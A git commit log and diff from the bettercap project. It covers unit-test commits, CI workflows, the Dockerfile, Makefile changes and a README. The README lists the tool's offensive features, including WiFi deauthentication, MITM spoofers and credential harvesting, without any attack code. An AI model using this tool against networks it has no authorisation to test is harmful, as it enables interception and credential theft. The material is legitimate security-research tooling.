d3c8afb3fb add test for shouldIgnore 2018-05-01 15:04:55 -04:00
Kent Gruber
d641fbf5c3 add test for GetAlias 2018-05-01 15:03:56 -04:00
Kent Gruber
65b28e028f add test for AddIfNew 2018-05-01 15:03:42 -04:00
Kent Gruber
dcc7ca2cbd add test for GetByIp
possible TODO: rename GetByIp to GetByIP like golint says to do?
2018-05-01 15:03:20 -04:00
Kent Gruber
4b82e917c7 add test for EachHost 2018-05-01 15:02:30 -04:00
Kent Gruber
050eaaf6bc add test for Has 2018-05-01 15:02:14 -04:00
Kent Gruber
effbf951b5 add TODO in test for Remove
adding a TODO to help remind myself to fix this later: the Remove
function seems to have an unnecessary argument called “ip” which is
never used.

To be fair, I guess I could’ve just wrote a test for this and changed
it later.
2018-05-01 15:01:58 -04:00
Kent Gruber
d94532c473 add test for WasMissed 2018-05-01 15:00:17 -04:00
Kent Gruber
50ebf3e53a add test for Aliases 2018-05-01 15:00:00 -04:00
Kent Gruber
a3e173a847 add test for List 2018-05-01 14:59:41 -04:00
Kent Gruber
e9697e0659 add test for Get 2018-05-01 14:59:25 -04:00
Kent Gruber
29486e1bf7 add test for SetAliasFor 2018-05-01 14:59:09 -04:00
Kent Gruber
bb493de4c9 add test for MarshalJSON 2018-05-01 14:58:51 -04:00
Kent Gruber
ba47e82e77 add test for NewLAN 2018-05-01 14:58:30 -04:00
Kent Gruber
9c4a43062c start adding tests for lan related functions in network package
includes required imports and two helper functions to build reusable
fresh-starts to be used in functions
2018-05-01 14:57:51 -04:00
Simone Margaritelli
d129bb65cc
Merge pull request #254 from picatz/test-network-net
add test for FindInterface in network package
2018-05-01 19:35:25 +02:00
Kent Gruber
7bff3bba79 add test for FindInterface in network package 2018-05-01 12:41:21 -04:00
Simone Margaritelli
6b297d7e1f
Merge pull request #253 from picatz/test-network-net
Add two more tests for network net
2018-05-01 17:41:58 +02:00
Kent Gruber
dcd5001357 add basic matchByAddress test
checks both mac address and ip address cases
2018-05-01 11:01:31 -04:00
Kent Gruber
36fb416952 add basic findInterfaceByName test 2018-05-01 10:53:09 -04:00
Simone Margaritelli
b6b064a5ef
Merge pull request #252 from picatz/test-network-net
Add more tests for network net
2018-05-01 16:19:33 +02:00
Kent Gruber
3c920397b9 add basic buildEndpointFromInterface test 2018-05-01 10:07:13 -04:00
Kent Gruber
b188354c33 add basic ParseTargets test
Note: needs refactoring to include an actual alias map example. I was
unable to get this to work for the time being, but this test adds at
least some coverage.
2018-05-01 10:05:52 -04:00
Simone Margaritelli
0910c1ed0e
Merge pull request #251 from picatz/test-network-net
start adding tests for network net
2018-05-01 12:00:18 +02:00
Simone Margaritelli
5c3b6cf507
Merge pull request #250 from picatz/test-core-table
add simple tests for core table functions
2018-05-01 11:59:55 +02:00
Simone Margaritelli
fe7fb2e752
Merge pull request #249 from picatz/test-core-swag
add simple tests for core swag color functions
2018-05-01 11:59:35 +02:00
Simone Margaritelli
0bf981ba3b
Merge pull request #248 from picatz/test-core-banner
add simple core banner constants test
2018-05-01 11:59:11 +02:00
Simone Margaritelli
da5b6da44b
Merge pull request #247 from picatz/fix-core-test-exec
run head in core test with a file that doesn't exist to pass on macOS
2018-05-01 11:58:46 +02:00
Kent Gruber
9e59ca9bfe start adding tests for network net
* IsZeroMac
* IsBroadcastMac
* NormalizeMac
2018-04-30 22:42:02 -04:00
Kent Gruber
345422d1b8 remove accidental double test for Website 2018-04-30 21:22:24 -04:00
Kent Gruber
5d58ab24be add simple tests for core table functions
add simple tests for each of table functions in core
2018-04-30 21:07:24 -04:00
Kent Gruber
2d9e74ea46 add simple tests for core swag color functions
add simple tests for each of the color functions in core swag
2018-04-30 20:10:01 -04:00
Kent Gruber
274fd945b3 add simple core banner constants test
This commit adds a simple test to core for the banner constants.

Mainly a test to get started with building out more tests.

Yeah, I know it’s silly.
2018-04-30 16:35:03 -04:00
Kent Gruber
9ee7a504b4 run head in core test with a file that doesn't exist to pass on macOS
On a mac, the /proc file system doesn’t exist. To have this test pass,
I’ve written it in a way so that the command will fail like for the ps
command which will allow the test to pass on mac and linux.
2018-04-30 15:30:22 -04:00
evilsocket
480f0daa8d
misc: small fix or general refactoring i did not bother commenting 2018-04-30 16:21:57 +02:00
evilsocket
9f390a722f
new: added arp.spoof.internal boolean parameter (closes #242) 2018-04-30 15:44:16 +02:00
evilsocket
7197fb1f25
fixed a panic on net.sniff due to channel being closed if reading from a pcap (fixes #246) 2018-04-30 14:57:32 +02:00
evilsocket
4cd86f3fd0
wrote unit tests for session.Environment 2018-04-30 14:20:34 +02:00
Simone Margaritelli
64f3a79be3
Merge pull request #243 from bmaia/master
new: implemented tcp.tunnel option for tcp.proxy module (closes #238)
2018-04-27 13:57:55 +02:00
bmaia
d2901fddf0 new: implemented tcp.tunnel option for tcp.proxy module (closes #238) 2018-04-27 00:32:39 +02:00
evilsocket
ae0afc54b5
fixed a bug which caused a cidr being parsed as an ip and eventually a panic (fixes #241) 2018-04-26 19:33:05 +02:00
evilsocket
735d074cd8
more unit tests 2018-04-26 15:16:49 +02:00
evilsocket
5a60e8897e
misc: small fix or general refactoring i did not bother commenting 2018-04-26 14:59:29 +02:00
evilsocket
b62948c160
misc: small fix or general refactoring i did not bother commenting 2018-04-26 14:57:45 +02:00
evilsocket
cd6fcbf4be
started the long adventure of unit testing bettercap 2018-04-26 14:43:25 +02:00
evilsocket
889ef0cbe0
misc: small fix or general refactoring i did not bother commenting 2018-04-26 13:01:57 +02:00
evilsocket
43a805870a
misc: small fix or general refactoring i did not bother commenting 2018-04-26 12:55:34 +02:00
evilsocket
9326a0dd4e
misc: small fix or general refactoring i did not bother commenting 2018-04-26 12:49:46 +02:00
evilsocket
57a37ac104
typos 2018-04-26 12:44:26 +02:00
evilsocket
b8d8c459c8
misc: small fix or general refactoring i did not bother commenting 2018-04-26 12:43:13 +02:00
evilsocket
557d7dbe17
completed lint driven refactoring 2018-04-26 12:41:18 +02:00
evilsocket
e383e4d9b1
... and more ... 2018-04-26 12:29:59 +02:00
evilsocket
60e8f83b2b
misc: small fix or general refactoring i did not bother commenting 2018-04-26 12:27:36 +02:00
evilsocket
813ae0a5e9
and more 2018-04-26 12:25:35 +02:00
evilsocket
1afab5d7be
more lint driven refactoring 2018-04-26 12:19:52 +02:00
evilsocket
0de6f3a76e
more lint driven refactoring 2018-04-24 18:26:16 +02:00
evilsocket
7919cda5ec
lint driven refactoring 2018-04-24 16:33:38 +02:00
evilsocket
bc3be7dd2b
started structuring project for testing + lint driven various refactoring 2018-04-24 15:12:25 +02:00
evilsocket
64099bc1fb
improved makefile with tests, benchmarks n stuff 2018-04-24 14:33:53 +02:00
2765 changed files with 421994 additions and 306200 deletions

4
.gitattributes vendored Normal file
View file

@ -0,0 +1,4 @@
*.js linguist-vendored
/Dockerfile linguist-vendored
/release.py linguist-vendored
/**/*.js linguist-vendored

12
.github/FUNDING.yml vendored Normal file
View file

@ -0,0 +1,12 @@
# These are supported funding model platforms
github: evilsocket
patreon: evilsocket
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']

5
.github/ISSUE_TEMPLATE/config.yml vendored Normal file
View file

@ -0,0 +1,5 @@
blank_issues_enabled: false
contact_links:
- name: Bettercap Documentation
url: https://www.bettercap.org/
about: Please read the instructions before asking for help.

38
.github/ISSUE_TEMPLATE/default_issue.md vendored Normal file
View file

@ -0,0 +1,38 @@
---
name: General Issue
about: Write a general issue or bug report.
---
# Prerequisites
Please, before creating this issue make sure that you read the [README](https://github.com/bettercap/bettercap/blob/master/README.md), that you are running the [latest stable version](https://github.com/bettercap/bettercap/releases) and that you already searched [other issues](https://github.com/bettercap/bettercap/issues?q=is%3Aopen+is%3Aissue+label%3Abug) to see if your problem or request was already reported.
! PLEASE REMOVE THIS PART AND LEAVE ONLY THE FOLLOWING SECTIONS IN YOUR REPORT !
---
*Description of the bug or feature request*
### Environment
Please provide:
* Bettercap version you are using ( `bettercap -version` ).
* OS version and architecture you are using.
* Go version if building from sources.
* Command line arguments you are using.
* Caplet code you are using or the interactive session commands.
* **Full debug output** while reproducing the issue ( `bettercap -debug ...` ).
### Steps to Reproduce
1. *First Step*
2. *Second Step*
3. *and so on...*
**Expected behavior:** *What you expected to happen*
**Actual behavior:** *What actually happened*
--
**♥ ANY INCOMPLETE REPORT WILL BE CLOSED RIGHT AWAY ♥**

7
.github/dependabot.yml vendored Normal file
View file

@ -0,0 +1,7 @@
version: 2
updates:
# GitHub Actions
- package-ecosystem: github-actions
directory: /
schedule:
interval: daily

117
.github/workflows/build-and-deploy.yml vendored Normal file
View file

@ -0,0 +1,117 @@
name: Build and Deploy
on:
push:
tags:
- 'v*.*.*' # Match version tags
workflow_dispatch:
jobs:
build:
name: ${{ matrix.os.pretty }} ${{ matrix.arch }}
runs-on: ${{ matrix.os.runs-on }}
strategy:
matrix:
os:
- name: darwin
runs-on: [macos-latest]
pretty: 🍎 macOS
- name: linux
runs-on: [ubuntu-latest]
pretty: 🐧 Linux
- name: windows
runs-on: [windows-latest]
pretty: 🪟 Windows
output: bettercap.exe
arch: [amd64, arm64]
go: [1.24.x]
exclude:
- os:
name: darwin
arch: amd64
# Linux ARM64 images are not yet publicly available (https://github.com/actions/runner-images)
- os:
name: linux
arch: arm64
- os:
name: windows
arch: arm64
env:
OUTPUT: ${{ matrix.os.output || 'bettercap' }}
steps:
- name: Checkout Code
uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version: ${{ matrix.go }}
- name: Install Dependencies
if: ${{ matrix.os.name == 'linux' }}
run: sudo apt-get update && sudo apt-get install -y p7zip-full libpcap-dev libnetfilter-queue-dev libusb-1.0-0-dev
- name: Install Dependencies (macOS)
if: ${{ matrix.os.name == 'macos' }}
run: brew install libpcap libusb p7zip
- name: Install libusb via mingw (Windows)
if: ${{ matrix.os.name == 'windows' }}
uses: msys2/setup-msys2@v2
with:
install: |-
mingw64/mingw-w64-x86_64-libusb
mingw64/mingw-w64-x86_64-pkg-config
- name: Install other Dependencies (Windows)
if: ${{ matrix.os.name == 'windows' }}
run: |
choco install openssl.light -y
choco install make -y
choco install 7zip -y
choco install zadig -y
curl -L "https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip" -o "C:\wpcap-sdk.zip"
7z x -y "C:\wpcap-sdk.zip" -o"C:\winpcap"
echo "D:\a\_temp\msys64\mingw64\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
- name: Build
run: make -e TARGET="${{ env.OUTPUT }}"
- name: Verify Build
run: |
file "${{ env.OUTPUT }}"
openssl dgst -sha256 "${{ env.OUTPUT }}" | tee bettercap_${{ matrix.os.name }}_${{ matrix.arch }}.sha256
7z a "bettercap_${{ matrix.os.name }}_${{ matrix.arch }}.zip" "${{ env.OUTPUT }}" "bettercap_${{ matrix.os.name }}_${{ matrix.arch }}.sha256"
- name: Upload Artifacts
uses: actions/upload-artifact@v4
with:
name: release-artifacts-${{ matrix.os.name }}-${{ matrix.arch }}
path: |
bettercap_*.zip
bettercap_*.sha256
deploy:
needs: [build]
name: Release
runs-on: ubuntu-latest
steps:
- name: Download Artifacts
uses: actions/download-artifact@v5
with:
pattern: release-artifacts-*
merge-multiple: true
path: dist/
- name: Release Assets
run: ls -l dist
- name: Upload Release Assets
uses: softprops/action-gh-release@v2
if: github.event_name == 'push' && startsWith(github.ref, 'refs/tags/')
with:
files: dist/bettercap_*
env:
GITHUB_TOKEN: ${{ secrets.GH_TOKEN }}

View file

@ -0,0 +1,30 @@
name: Build and Push Docker Images
on:
push:
branches: [ "master" ]
pull_request:
branches: [ "master" ]
jobs:
docker:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push
uses: docker/build-push-action@v6
with:
platforms: linux/amd64,linux/arm64
push: true
tags: bettercap/bettercap:latest

33
.github/workflows/test-on-linux.yml vendored Normal file
View file

@ -0,0 +1,33 @@
name: Linux tests
on:
push:
branches: [ "master" ]
pull_request:
branches: [ "master" ]
workflow_dispatch:
jobs:
build:
runs-on: ubuntu-latest
strategy:
matrix:
os: [ubuntu-latest]
go-version: ['1.24.x']
steps:
- name: Checkout Code
uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version: ${{ matrix.go-version }}
- name: Install Dependencies
run: sudo apt-get update && sudo apt-get install -y p7zip-full libpcap-dev libnetfilter-queue-dev libusb-1.0-0-dev
- name: Run Tests
run: |
env GO111MODULE=on make test

33
.github/workflows/test-on-macos.yml vendored Normal file
View file

@ -0,0 +1,33 @@
name: macOS tests
on:
push:
branches: [ "master" ]
pull_request:
branches: [ "master" ]
workflow_dispatch:
jobs:
build:
runs-on: macos-latest
strategy:
matrix:
os: [macos-latest]
go-version: ['1.24.x']
steps:
- name: Checkout Code
uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version: ${{ matrix.go-version }}
- name: Install Dependencies
run: brew install libpcap libusb p7zip
- name: Run Tests
run: |
env GO111MODULE=on make test

47
.github/workflows/test-on-windows.yml vendored Normal file
View file

@ -0,0 +1,47 @@
name: Windows tests
on:
push:
branches: [ "master" ]
pull_request:
branches: [ "master" ]
workflow_dispatch:
jobs:
build:
runs-on: windows-latest
strategy:
matrix:
os: [windows-latest]
go-version: ['1.24.x']
steps:
- name: Checkout Code
uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version: ${{ matrix.go-version }}
- name: Install libusb via mingw
uses: msys2/setup-msys2@v2
with:
install: |-
mingw64/mingw-w64-x86_64-libusb
mingw64/mingw-w64-x86_64-pkg-config
- name: Install other dependencies
run: |
choco install openssl.light -y
choco install make -y
choco install 7zip -y
choco install zadig -y
curl -L "https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip" -o "C:\wpcap-sdk.zip"
7z x -y "C:\wpcap-sdk.zip" -o"C:\winpcap"
- run: echo "D:\a\_temp\msys64\mingw64\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
- name: Run Tests
run: env GO111MODULE=on make test

17
.gitignore vendored
View file

@ -1,9 +1,20 @@
*.sw* *.sw*
*.tar.gz *.tar.gz
*.prof* *.prof*
_example/config.js
pcaps pcaps
caplets
build build
bettercap*.* bettercap
bettercap*
bettercap.history bettercap.history
*.snap
*.snap.xdelta3
prime/
snap/
stage/
/snap
.idea
/cover.out
/can-data
/test*.yml
/zerochaos.js

View file

@ -1,21 +0,0 @@
language: go
sudo: false
go:
- 1.9.3
git:
depth: 3
before_install:
- sudo apt-get -qq update
- sudo apt-get install -y libpcap-dev libnetfilter-queue-dev
- go get -u github.com/golang/dep/...
install:
- make deps
go_import_path: github.com/bettercap/bettercap
script:
- make test

23
Dockerfile vendored
View file

@ -1,21 +1,24 @@
# build stage # build stage
FROM golang:1.10-alpine AS build-env FROM golang:1.24-alpine AS build-env
ENV SRC_DIR $GOPATH/src/github.com/bettercap/bettercap RUN apk add --no-cache ca-certificates
RUN apk add --no-cache bash gcc g++ binutils-gold iptables wireless-tools build-base libpcap-dev libusb-dev linux-headers libnetfilter_queue-dev git
RUN apk add --update ca-certificates WORKDIR $GOPATH/src/github.com/bettercap/bettercap
RUN apk add --no-cache --update bash iptables wireless-tools build-base libpcap-dev linux-headers libnetfilter_queue-dev git ADD . $GOPATH/src/github.com/bettercap/bettercap
WORKDIR $SRC_DIR
ADD . $SRC_DIR
RUN go get -u github.com/golang/dep/...
RUN make deps
RUN make RUN make
# get caplets
RUN mkdir -p /usr/local/share/bettercap
RUN git clone https://github.com/bettercap/caplets /usr/local/share/bettercap/caplets
# final stage # final stage
FROM alpine FROM alpine
RUN apk add --no-cache --update bash iproute2 libpcap libnetfilter_queue RUN apk add --no-cache ca-certificates
RUN apk add --no-cache bash iproute2 libpcap libusb-dev libnetfilter_queue wireless-tools iw
COPY --from=build-env /go/src/github.com/bettercap/bettercap/bettercap /app/ COPY --from=build-env /go/src/github.com/bettercap/bettercap/bettercap /app/
COPY --from=build-env /usr/local/share/bettercap/caplets /app/
WORKDIR /app WORKDIR /app
EXPOSE 80 443 53 5300 8080 8081 8082 8083 8000 EXPOSE 80 443 53 5300 8080 8081 8082 8083 8000
ENTRYPOINT ["/app/bettercap"] ENTRYPOINT ["/app/bettercap"]

200
Gopkg.lock generated
View file

@ -1,200 +0,0 @@
# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'.
[[projects]]
name = "github.com/adrianmo/go-nmea"
packages = ["."]
revision = "22095aa1b48050243d3eb9a001ca80eb91a0c6fa"
[[projects]]
branch = "master"
name = "github.com/bettercap/gatt"
packages = [
".",
"linux",
"linux/cmd",
"linux/evt",
"linux/gioctl",
"linux/socket",
"linux/util",
"xpc"
]
revision = "e65eb2df9116e5ec6e2409b6142a09a93e96b900"
[[projects]]
name = "github.com/bettercap/readline"
packages = ["."]
revision = "62c6fe6193755f722b8b8788aa7357be55a50ff1"
version = "v1.4"
[[projects]]
branch = "master"
name = "github.com/chifflier/nfqueue-go"
packages = ["nfqueue"]
revision = "61ca646babef3bd4dea1deb610bfb0005c0a1298"
[[projects]]
branch = "master"
name = "github.com/dustin/go-humanize"
packages = ["."]
revision = "bb3d318650d48840a39aa21a027c6630e198e626"
[[projects]]
branch = "master"
name = "github.com/elazarl/goproxy"
packages = ["."]
revision = "a96fa3a318260eab29abaf32f7128c9eb07fb073"
[[projects]]
branch = "master"
name = "github.com/gobwas/glob"
packages = [
".",
"compiler",
"match",
"syntax",
"syntax/ast",
"syntax/lexer",
"util/runes",
"util/strings"
]
revision = "f00a7392b43971b2fdb562418faab1f18da2067a"
[[projects]]
name = "github.com/google/go-github"
packages = ["github"]
revision = "e48060a28fac52d0f1cb758bc8b87c07bac4a87d"
version = "v15.0.0"
[[projects]]
branch = "master"
name = "github.com/google/go-querystring"
packages = ["query"]
revision = "53e6ce116135b80d037921a7fdd5138cf32d7a8a"
[[projects]]
name = "github.com/google/gopacket"
packages = [
".",
"layers",
"pcap",
"pcapgo"
]
revision = "11c65f1ca9081dfea43b4f9643f5c155583b73ba"
version = "v1.1.14"
[[projects]]
branch = "master"
name = "github.com/gorilla/context"
packages = ["."]
revision = "08b5f424b9271eedf6f9f0ce86cb9396ed337a42"
[[projects]]
name = "github.com/gorilla/mux"
packages = ["."]
revision = "53c1911da2b537f792e7cafcb446b05ffe33b996"
version = "v1.6.1"
[[projects]]
name = "github.com/gorilla/websocket"
packages = ["."]
revision = "ea4d1f681babbce9545c9c5f3d5194a789c89f5b"
version = "v1.2.0"
[[projects]]
branch = "master"
name = "github.com/inconshreveable/go-vhost"
packages = ["."]
revision = "06d84117953b22058c096b49a429ebd4f3d3d97b"
[[projects]]
branch = "master"
name = "github.com/jpillora/go-tld"
packages = ["."]
revision = "a31ae10e978ab5f352c5dad2cfbd60546dcea75f"
[[projects]]
name = "github.com/malfunkt/iprange"
packages = ["."]
revision = "3a31f5ed42d2d8a1fc46f1be91fd693bdef2dd52"
version = "v0.9.0"
[[projects]]
name = "github.com/mattn/go-colorable"
packages = ["."]
revision = "5411d3eea5978e6cdc258b30de592b60df6aba96"
[[projects]]
name = "github.com/mattn/go-isatty"
packages = ["."]
revision = "0360b2af4f38e8d38c7fce2a9f4e702702d73a39"
version = "v0.0.3"
[[projects]]
branch = "master"
name = "github.com/mdlayher/dhcp6"
packages = [
".",
"dhcp6opts",
"internal/buffer"
]
revision = "e26af0688e455a82b14ebdbecf43f87ead3c4624"
[[projects]]
branch = "master"
name = "github.com/mgutz/ansi"
packages = ["."]
revision = "9520e82c474b0a04dd04f8a40959027271bab992"
[[projects]]
name = "github.com/mgutz/logxi"
packages = ["v1"]
revision = "aebf8a7d67ab4625e0fd4a665766fef9a709161b"
version = "v1"
[[projects]]
branch = "master"
name = "github.com/pkg/errors"
packages = ["."]
revision = "816c9085562cd7ee03e7f8188a1cfd942858cded"
[[projects]]
branch = "master"
name = "github.com/robertkrimen/otto"
packages = [
".",
"ast",
"dbg",
"file",
"parser",
"registry",
"token"
]
revision = "6c383dd335ef8dcccef05e651ce1eccfe4d0f011"
[[projects]]
branch = "master"
name = "github.com/tarm/serial"
packages = ["."]
revision = "eaafced92e9619f03c72527efeab21e326f3bc36"
[[projects]]
name = "golang.org/x/sys"
packages = ["unix"]
revision = "abf9c25f54453410d0c6668e519582a9e1115027"
[[projects]]
name = "gopkg.in/sourcemap.v1"
packages = [
".",
"base64vlq"
]
revision = "6e83acea0053641eff084973fee085f0c193c61a"
version = "v1.0.5"
[solve-meta]
analyzer-name = "dep"
analyzer-version = 1
inputs-digest = "16887d6924226ea7174b18c0c2a92da30997904da44648f7df6927b3ec8e8de1"
solver-name = "gps-cdcl"
solver-version = 1

View file

@ -1,98 +0,0 @@
# Gopkg.toml example
#
# Refer to https://golang.github.io/dep/docs/Gopkg.toml.html
# for detailed Gopkg.toml documentation.
#
# required = ["github.com/user/thing/cmd/thing"]
# ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"]
#
# [[constraint]]
# name = "github.com/user/project"
# version = "1.0.0"
#
# [[constraint]]
# name = "github.com/user/project2"
# branch = "dev"
# source = "github.com/myfork/project2"
#
# [[override]]
# name = "github.com/x/y"
# version = "2.4.0"
#
# [prune]
# non-go = false
# go-tests = true
# unused-packages = true
[[constraint]]
branch = "master"
name = "github.com/bettercap/gatt"
[[constraint]]
name = "github.com/bettercap/readline"
version = "1.4.0"
[[constraint]]
branch = "master"
name = "github.com/chifflier/nfqueue-go"
[[constraint]]
branch = "master"
name = "github.com/dustin/go-humanize"
[[constraint]]
branch = "master"
name = "github.com/elazarl/goproxy"
[[constraint]]
branch = "master"
name = "github.com/gobwas/glob"
[[constraint]]
name = "github.com/google/go-github"
version = "15.0.0"
[[constraint]]
name = "github.com/google/gopacket"
version = "1.1.14"
[[constraint]]
name = "github.com/gorilla/mux"
version = "1.6.1"
[[constraint]]
name = "github.com/gorilla/websocket"
version = "1.2.0"
[[constraint]]
branch = "master"
name = "github.com/inconshreveable/go-vhost"
[[constraint]]
branch = "master"
name = "github.com/jpillora/go-tld"
[[constraint]]
name = "github.com/malfunkt/iprange"
version = "0.9.0"
[[constraint]]
name = "github.com/mattn/go-isatty"
version = "0.0.3"
[[constraint]]
branch = "master"
name = "github.com/mdlayher/dhcp6"
[[constraint]]
branch = "master"
name = "github.com/robertkrimen/otto"
[[constraint]]
branch = "master"
name = "github.com/tarm/serial"
[prune]
go-tests = true
unused-packages = true

View file

@ -1,33 +0,0 @@
# Prerequisites
Please, before creating this issue make sure that you read the [README](https://github.com/bettercap/bettercap/blob/master/README.md), that you are running the [latest stable version](https://github.com/bettercap/bettercap/releases) and that you already searched [other issues](https://github.com/bettercap/bettercap/issues?q=is%3Aopen+is%3Aissue+label%3Abug) to see if your problem or request was already reported.
! PLEASE REMOVE THIS PART AND LEAVE ONLY THE FOLLOWING SECTIONS IN YOUR REPORT !
---
*Description of the bug or feature request*
### Environment
Please provide:
* Bettercap version you are using.
* OS version and architecture you are using.
* Go version if building from sources.
* Command line arguments you are using.
* Caplet code you are using or the interactive session commands.
* **Full debug output** while reproducing the issue ( `bettercap -debug ...` ).
### Steps to Reproduce
1. *First Step*
2. *Second Step*
3. *and so on...*
**Expected behavior:** *What you expected to happen*
**Actual behavior:** *What actually happened*
--
**♥ ANY INCOMPLETE REPORT WILL BE CLOSED RIGHT AWAY ♥**

View file

@ -1,33 +1,42 @@
TARGET=bettercap TARGET ?= bettercap
PACKAGES ?= core firewall log modules network packets session tls
PREFIX ?= /usr/local
GO ?= go
all: fmt vet build all: build
@echo "@ Done"
test: build
@go test ./...
build: resources build: resources
@echo "@ Building ..." $(GO) build $(GOFLAGS) -o $(TARGET) .
@go build -o $(TARGET) .
resources: network/oui.go build_with_race_detector: resources
$(GO) build $(GOFLAGS) -race -o $(TARGET) .
network/oui.go: resources: network/manuf.go
@python ./network/make_oui.py
vet: network/manuf.go:
@go vet ./... @python3 ./network/make_manuf.py
install:
@mkdir -p $(DESTDIR)$(PREFIX)/share/bettercap/caplets
@cp bettercap $(DESTDIR)$(PREFIX)/bin/
docker:
@docker build -t bettercap:latest .
test:
$(GO) test -covermode=atomic -coverprofile=cover.out ./...
html_coverage: test
$(GO) tool cover -html=cover.out -o cover.out.html
benchmark: server_deps
$(GO) test -v -run=doNotRunTests -bench=. -benchmem ./...
fmt: fmt:
@go fmt ./... $(GO) fmt -s -w $(PACKAGES)
lint:
@golint ./...
deps:
@dep ensure
clean: clean:
@rm -rf $(TARGET).* $(RM) $(TARGET)
@rm -rf $(TARGET)* $(RM) -r build
@rm -rf build
.PHONY: all build build_with_race_detector resources install docker test html_coverage benchmark fmt clean

View file

@ -1,38 +1,53 @@
<p align="center">
<small>Join the project community on our server!</small>
<br/><br/>
<a href="https://discord.gg/https://discord.gg/btZpkp45gQ" target="_blank" title="Join our community!">
<img src="https://dcbadge.limes.pink/api/server/https://discord.gg/btZpkp45gQ"/>
</a>
</p>
<hr/>
<p align="center"> <p align="center">
<img alt="BetterCap" src="https://raw.githubusercontent.com/bettercap/media/master/logo.png" height="140" /> <img alt="BetterCap" src="https://raw.githubusercontent.com/bettercap/media/master/logo.png" height="140" />
<p align="center"> <p align="center">
<a href="https://github.com/bettercap/bettercap/releases/latest"><img alt="Release" src="https://img.shields.io/github/release/bettercap/bettercap.svg?style=flat-square"></a> <a href="https://github.com/bettercap/bettercap/releases/latest"><img alt="Release" src="https://img.shields.io/github/release/bettercap/bettercap.svg?style=flat-square"></a>
<a href="https://github.com/bettercap/bettercap/blob/master/LICENSE.md"><img alt="Software License" src="https://img.shields.io/badge/license-GPL3-brightgreen.svg?style=flat-square"></a> <a href="https://github.com/bettercap/bettercap/blob/master/LICENSE.md"><img alt="Software License" src="https://img.shields.io/badge/license-GPL3-brightgreen.svg?style=flat-square"></a>
<a href="https://travis-ci.org/bettercap/bettercap"><img alt="Travis" src="https://img.shields.io/travis/bettercap/bettercap/master.svg?style=flat-square"></a> <a href="https://github.com/bettercap/bettercap/actions/workflows/test-on-linux.yml"><img alt="Tests on Linux" src="https://github.com/bettercap/bettercap/actions/workflows/test-on-linux.yml/badge.svg"></a>
<a href="https://goreportcard.com/report/github.com/bettercap/bettercap"><img alt="Go Report Card" src="https://goreportcard.com/badge/github.com/bettercap/bettercap?style=flat-square&fuckgithubcache=1"></a> <a href="https://github.com/bettercap/bettercap/actions/workflows/test-on-macos.yml"><img alt="Tests on macOS" src="https://github.com/bettercap/bettercap/actions/workflows/test-on-macos.yml/badge.svg"></a>
<a href="https://github.com/bettercap/bettercap/actions/workflows/test-on-windows.yml"><img alt="Tests on Windows" src="https://github.com/bettercap/bettercap/actions/workflows/test-on-windows.yml/badge.svg"></a>
<a href="https://hub.docker.com/r/bettercap/bettercap"><img alt="Docker Hub" src="https://img.shields.io/docker/v/bettercap/bettercap?logo=docker"></a>
</p> </p>
</p> </p>
**bettercap** is the Swiss Army knife for 802.11, BLE and Ethernet networks reconnaissance and attacks. bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse engineers an **easy to use**, **all-in-one solution** with all the features they might possibly need for performing reconnaissance and attacking [WiFi](https://www.bettercap.org/modules/wifi/) networks, [Bluetooth Low Energy](https://www.bettercap.org/modules/ble/) devices, [CAN-bus](https://www.bettercap.org/modules/canbus/), wireless [HID](https://www.bettercap.org/modules/hid/) devices and [Ethernet](https://www.bettercap.org/modules/ethernet) networks.
## How to Install ![UI](https://raw.githubusercontent.com/bettercap/media/master/ui-events.png)
A [precompiled version is available](https://github.com/bettercap/bettercap/releases) for each release, alternatively you can use the latest version of the source code from this repository in order to build your own binary. ## Main Features
Make sure you have a correctly configured **Go >= 1.8** environment, that `$GOPATH/bin` is in `$PATH`, that the `libpcap-dev` and `libnetfilter-queue-dev` (this one is only required on Linux) package installed for your system and then: * **WiFi** networks scanning, [deauthentication attack](https://www.evilsocket.net/2018/07/28/Project-PITA-Writeup-build-a-mini-mass-deauther-using-bettercap-and-a-Raspberry-Pi-Zero-W/), [clientless PMKID association attack](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) and automatic WPA/WPA2/WPA3 client handshakes capture.
* **Bluetooth Low Energy** devices scanning, characteristics enumeration, reading and writing.
* 2.4Ghz wireless devices scanning and **MouseJacking** attacks with over-the-air HID frames injection (with DuckyScript support).
* **CAN-bus** and **DBC** support for decoding, injecting and fuzzing frames.
* Passive and active IP network hosts probing and recon.
* **ARP, DNS, NDP and DHCPv6 spoofers** for MITM attacks on IPv4 and IPv6 based networks.
* **Proxies at packet level, TCP level and HTTP/HTTPS** application level fully scriptable with easy to implement **javascript plugins**.
* A powerful **network sniffer** for **credentials harvesting** which can also be used as a **network protocol fuzzer**.
* A very fast port scanner.
* A powerful [REST API](https://www.bettercap.org/modules/core/api.rest/) with support for asynchronous events notification on websocket to orchestrate your attacks easily.
* **A very convenient [web UI](https://www.bettercap.org/usage/#web-ui).**
* [More!](https://www.bettercap.org/modules/)
$ go get github.com/bettercap/bettercap ## Contributors
